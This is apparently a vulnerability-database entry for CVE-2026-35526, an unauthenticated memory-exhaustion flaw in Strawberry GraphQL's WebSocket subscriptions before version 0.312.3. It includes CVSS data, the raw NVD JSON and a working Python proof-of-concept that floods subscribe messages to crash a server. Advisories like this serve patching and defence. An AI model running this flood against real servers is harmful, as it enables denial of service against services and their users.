Security Vulnerability Report
中文
CVE-2026-35526 CVSS 7.5 HIGH

CVE-2026-35526

Published: 2026-04-07 16:16:29
Last Modified: 2026-04-17 20:37:10

Description

Strawberry GraphQL is a library for creating GraphQL APIs. Prior to 0.312.3, Strawberry GraphQL's WebSocket subscription handlers for both the graphql-transport-ws and legacy graphql-ws protocols allocate an asyncio.Task and associated Operation object for every incoming subscribe message without enforcing any limit on the number of active subscriptions per connection. An unauthenticated attacker can open a single WebSocket connection, send connection_init, and then flood subscribe messages with unique IDs. Each message unconditionally spawns a new asyncio.Task and async generator, causing linear memory growth and event loop saturation. This leads to server degradation or an OOM crash. This vulnerability is fixed in 0.312.3.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:strawberry:strawberry_graphql:*:*:*:*:*:python:*:* - VULNERABLE
Strawberry GraphQL < 0.312.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import asyncio import websockets import json async def exploit(target_url): # Connect to the vulnerable WebSocket endpoint uri = f"{target_url}/graphql" async with websockets.connect(uri) as websocket: # Step 1: Send connection_init message await websocket.send(json.dumps({"type": "connection_init"})) # Wait for connection_ack (optional, depends on server config) response = await websocket.recv() print(f"Server response: {response}") # Step 2: Flood subscribe messages to exhaust memory payload = { "id": "1", "type": "subscribe", "payload": { "query": "subscription { test }" } } print("Starting DoS attack...") try: i = 0 while True: # Send unique subscribe message payload["id"] = str(i) await websocket.send(json.dumps(payload)) i += 1 if i % 100 == 0: print(f"Sent {i} subscription messages...") # No sleep to maximize flood impact except Exception as e: print(f"Attack stopped or connection failed: {e}") if __name__ == "__main__": # Replace with actual target URL target = "ws://localhost:8000" asyncio.run(exploit(target))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35526", "sourceIdentifier": "[email protected]", "published": "2026-04-07T16:16:28.843", "lastModified": "2026-04-17T20:37:10.447", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Strawberry GraphQL is a library for creating GraphQL APIs. Prior to 0.312.3, Strawberry GraphQL's WebSocket subscription handlers for both the graphql-transport-ws and legacy graphql-ws protocols allocate an asyncio.Task and associated Operation object for every incoming subscribe message without enforcing any limit on the number of active subscriptions per connection. An unauthenticated attacker can open a single WebSocket connection, send connection_init, and then flood subscribe messages with unique IDs. Each message unconditionally spawns a new asyncio.Task and async generator, causing linear memory growth and event loop saturation. This leads to server degradation or an OOM crash. This vulnerability is fixed in 0.312.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:strawberry:strawberry_graphql:*:*:*:*:*:python:*:*", "versionEndExcluding": "0.312.3", "matchCriteriaId": "480FB826-3577-47DB-8F4B-B7B6F5C474E5"}]}]}], "references": [{"url": "https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-hv3w-m4g2-5x77", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}